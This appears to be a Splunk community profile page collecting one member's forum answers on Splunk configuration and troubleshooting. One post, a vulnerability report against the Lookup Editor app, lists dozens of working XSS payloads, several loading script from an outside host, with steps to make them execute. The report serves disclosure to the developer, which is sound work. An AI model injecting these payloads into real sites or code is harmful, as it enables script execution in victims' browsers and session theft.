Turn on suggestions
Auto-suggest helps you quickly narrow down your search results by suggesting possible matches as you type.
Showing results for
Turn on suggestions
Auto-suggest helps you quickly narrow down your search results by suggesting possible matches as you type.
Showing results for
- About Nicolo_Figiani
Nicolo_Figiani
Path Finder
Member since:
06-14-2013
06-05-2020
Community Statistics
| Posts | 16 |
| Solutions | 4 |
| Karma Given | 4 |
| Karma Received | 20 |
| Member Since | 06-14-2013 |
Activity Feed
- Got Karma for "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1. 09-04-2023 01:13 AM
- Karma Re: Logic Behind Geographically Improbable Access Detected ? for Richfez. 06-05-2020 12:49 AM
- Got Karma for Re: transforms and props.conf splitting sourcetype not matching. 06-05-2020 12:48 AM
- Got Karma for Re: Multiple where count > in the same string. 06-05-2020 12:48 AM
- Got Karma for Re: Multiple where count > in the same string. 06-05-2020 12:48 AM
- Karma ER: Add a way to manually launch the search for martin_mueller. 06-05-2020 12:47 AM
- Karma Re: Lookup Editor 2.0 app vulnerable to XSS for LukeMurphey. 06-05-2020 12:47 AM
- Got Karma for Re: Splunk App for Enterprise Security: Where to change the setting for lookup table maximum allowable value?. 06-05-2020 12:47 AM
- Got Karma for Re: How can I avoid getting error "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk"?. 06-05-2020 12:47 AM
- Got Karma for Re: How can I avoid getting error "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk"?. 06-05-2020 12:47 AM
- Got Karma for Re: Splunk App for Enterprise Security: Where to change the setting for lookup table maximum allowable value?. 06-05-2020 12:47 AM
- Got Karma for Re: Splunk App for Enterprise Security: Where to change the setting for lookup table maximum allowable value?. 06-05-2020 12:47 AM
- Got Karma for Re: Splunk App for Enterprise Security: Where to change the setting for lookup table maximum allowable value?. 06-05-2020 12:47 AM
- Got Karma for Re: Splunk App for Enterprise Security: Where to change the setting for lookup table maximum allowable value?. 06-05-2020 12:47 AM
- Karma Re: "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1 for sideview. 06-05-2020 12:46 AM
- Got Karma for Re: make output of "btool some-conf-type list" more legible (UNIX)?. 06-05-2020 12:46 AM
- Got Karma for "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1. 06-05-2020 12:46 AM
- Got Karma for "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1. 06-05-2020 12:46 AM
- Got Karma for "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1. 06-05-2020 12:46 AM
- Got Karma for "Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk." error after upgrade to Splunk 6.0.1. 06-05-2020 12:46 AM
Topics I've Started
10-06-2017
06:59 AM
That issue is related to the lack of communication between your splunk instance and Jira. Make sure the baseurl you specified in the addon is right. You can troubleshoot this using telnet, curl from the Splunk CLI. It happened to me as well, then the network team opened the FW in the middle. After that no more error and the integration with Jira working charmingly..
Hope it helps..
... View more
10-17-2016
06:59 AM
1 Karma
Hello,
I was having the same question and I didn't find anything useful in search.log file.
However, there's a mention of all this in the _introspection index. If you run the following search:
index=_introspection "data.search_props.label"="the name of your search here"
take a look at the data.search_props.mode field. If the indexed RT is enabled, its value should be equal to: RT indexed .
The above worked for me, hope it helps...
Cheers,
n
... View more
09-07-2016
07:35 AM
Hello,
in order to have a multivalue field from the regex, make sure to tweak the fields.conf as well:
TOKENIZER =
Use this setting to configure multivalue fields. A regular expression that indicates how the field can take on multiple values
at the same time. Otherwise, the first group is taken from each match to form the set of
values.
More info in the docs: fields.conf spec
Hope it helps, regards..
... View more
09-01-2016
10:18 AM
1 Karma
I guess we know why now. You're configuring the source type override on your universal forwarder. However, it is not a full Splunk instance and It has not parsing capabilities. You should configure everything on the first FULL Splunk instance ( HFW or IDX ) of your chain.
Your configuration looks ok so, just place it on the right Splunk instance and everything should work.
In addition, the entry regarding the props.conf has a different name "syslog-host" whereas you're looking for "syslog" and it refers to /system/default/props.conf. This is not you're configuration so, be sure to deploy your props config as well..
Hope it helps and let me know..
... View more
09-01-2016
08:14 AM
Hi,
try using the btool command to troubleshoot your issue. On the Splunk instance that should do the sourcetype rewrite (keep in mind that this happens at index time), do the following from the CLI:
splunk cmd btool props list syslog --debug
Thie above will lists all the specs of the "syslog" sourcetype. Make sure you're seeing the transformation you've defined "set_sqsd_sourcetype".
Do the same for the actual transformation:
splunk cmd btool transforms list set_sqsd_sourcetype --debug
Once again, make sure, the specs you have defined are listed.
Very likely, the configuration is not applied correctly or it is overridden by something else..the btool command should give you the exact snapshot of which configuration is enabled and it helped me hundreds of time (many times for the issue of mis-overwritten sourcetypes at index time).
Hope it help,
N
... View more
08-26-2016
06:29 AM
2 Karma
Hi,
the following one should work:
index=foo earliest=-30m
| stats count(eval(FailureReason=24403)) AS fr_24403, count(eval(FailureReason=22056)) AS fr_22056 by host
| where fr_24403>20 AND fr_22056>500
As you can see stats command can do pretty neat tricks but its syntax is not really straightorward. more info here: stats extended examples
Hope it helps,
regards
... View more
08-26-2016
05:50 AM
Hi,
Splunk definitely doesn't care about file extension in general. You should be able to collect logs with no extension without troubles (I did it many times exactly with sql related files).
I guess your problem is somewhere else, aka the watch on path is correct but there is something else wrong going on. Take a look at this page of the Splunk wiki for troubleshooting the input monitoring process: http://wiki.splunk.com/Community:Troubleshooting_Monitor_Inputs
Hope it helps,
regards
... View more
08-26-2016
05:40 AM
Hi,
you should go for the "sendresults Command": https://splunkbase.splunk.com/app/1794 (details here: app details)
This app basically configures a custom command that allows you to:
Dynamically evaluate who to send
results to, based upon the results of
the search itself
I used it in the past and it works charmingly..
Hope this helps,
regards
... View more
07-19-2016
08:07 AM
1 Karma
Hello there,
you should install S.o.S that comes along with a custom command called btool. For example, right from Splunk search bar:
| btool <conf file name>
eg:
| btool inputs
or
| btool props
and so on.. Since you have also field extraction of all this, you can even filter for stanza name, app name and so:
| btool inputs | search stanza="WinEventLog://Security"
or
| btool props | search app="Your_wonderful_parsing_app_name"
The output is pefectly readable:
Hope it helps..
Cheers
... View more
07-19-2016
07:45 AM
Hello,
I went through the same issue. As far as I understood, if you really need indexed extraction, make sure to have your props.conf configured like:
[yoursourcetype]
...
INDEXED_EXTRACTIONS = JSON
KV_MODE = none
AUTO_KV_JSON = false
..
parameters explanation (from props.conf specs):
KV_MODE = none: Used for search-time field extractions only. Specifies the field/value extraction @ search time mode for the data.
none: if you want no field/value extraction to take place.
Defaults to auto: extracts field/value pairs separated by equal signs.
AUTO_KV_JSON = false: Used for search-time field extractions only. Specifies whether to try json extraction automatically.
Defaults to true.
To have a successful field extraction you should change both KV_MODE and AUTO_KV_JSON as explained above. Chanign just one of the 2 will lead to a field extraction misconfiguration, aka events look like doubled.
Hope this will help, at least for me the above configuration make it sorted..
Additional ref: https://answers.splunk.com/answers/223095/why-is-my-sourcetype-configuration-for-json-events.html
... View more
12-01-2015
06:18 AM
2 Karma
Hello there,
The topic you're referring to has been already discussed here: Events may not be returned in sub-second order due to search memory limits configured in limits.conf error
The above answer may give you a hint regarding what you should adjust so to avoid that error message. Hope it helps.
Regards,
N.
... View more
11-27-2015
01:03 AM
Hello there,
thanks for the quick workaround. Version 2.0.1 seems to fix the reported issue. However, a XSS vulnerability is still exploitable through the "import" button.
To re-create the issue, you just need to enter the Lookup Editor app via Splunk Web UI, click the button "create a new lookup file" and then import a csv containing some XSS pattern. As you will see HTML/Javascript code is actually executed, leading to a XSS vulnerability.
I don't know if it's due to the same issue regarding the third-party library but this need to be fixed as soon as possible as well since a security flaws still exists.
Regards,
N.
... View more
11-26-2015
07:00 AM
Hi everyone,
looks like Lookup Editor Splunk upp is vulnerable to XSS. As an example, create and upload a csv file like the following one:
query
<SCRIPT>alert('XSS')
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
SRC=
<IMG 6
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
<IMG SRC=java%00script:alert(\"XSS\")>
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<IMG SRC="javascript:alert('XSS')"
<SCRIPT>a=/XSS/
\";alert('XSS');//
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css'
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)'
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Go to the Lookup Editor app via Splunk web UI and click on the just created lookup file to actually open it. As you will see the XSS vectors are actually executed.
This means that the actual content of the csv file is eventually evaluated and executed if HTML/Javascript patterns are contained in it.
I guess this is a security flaw and this behavior of the app should be fixed as soon as possible.
Regards,
N.
... View more
08-12-2015
01:57 AM
Hello everyone,
I can confirm that he cancelling of search jobs doesn't seem to work for me either, since many search jobs are created (and not all of them are deleted) while typing (about every 2 secs).
I thinks this app is very promising but I guess a search button is a required feature to let it work at best.
Great works indeed regarding the development of this app, hope to hear any feedback on this matter soon...
N.
... View more
09-03-2014
12:36 AM
5 Karma
Hi,
I had the same problem (on ES 3.1 and Splunk 6.1.3). I solved the issue by editing the following configuration file:
/opt/splunk/etc/system/local/limits.conf
In particular, I've added the following snippet of configuration:
[lookup]
max_memtable_bytes = 100000000
The increase of "max_memtable_bytes" will make the error message to stop appearing and will make Splunk working without trouble.
Regards.
... View more
02-04-2014
09:18 AM
8 Karma
Hi everyone,
I successfully upgraded all my Splunk instances (a distributed non-pooled infrastructure made of 2 indexers and 1 search head) from Splunk 5.0.2 to Splunk 6.0.1.
However, when running some searches from the search head, the following error pops out:
Events may not be returned in sub-second order due to search memory limits configured in limits.conf:[search]:max_rawsize_perchunk. See search.log for more information.
Maybe this issue is already addressed as a "known issue" (SPL-74818😞
A search returning lots of large events with multikv applied can crash the indexer's splunkd process.
I've read that you can work around this issue by getting splunkd to search on smaller chunks of data by reducing the number assigned to max_rawsize_perchunk, on all indexers and search heads by editing the following stanza in limits.conf:
[search]
max_rawsize_perchunk = $smaller_value_than_previous$
I've edited limits.conf as explained but I keep getting this issue.
Has anyone faced the same problem? How can I fix this once for all?
Thanks a lot, cheers.
... View more
Labels
- Labels:
-
indexer
-
search head
-
splunkd
-
upgrade
Contact Me
| Online Status |
Offline
|
| Date Last Visited |
06-05-2020
02:04 AM
|
Karma from
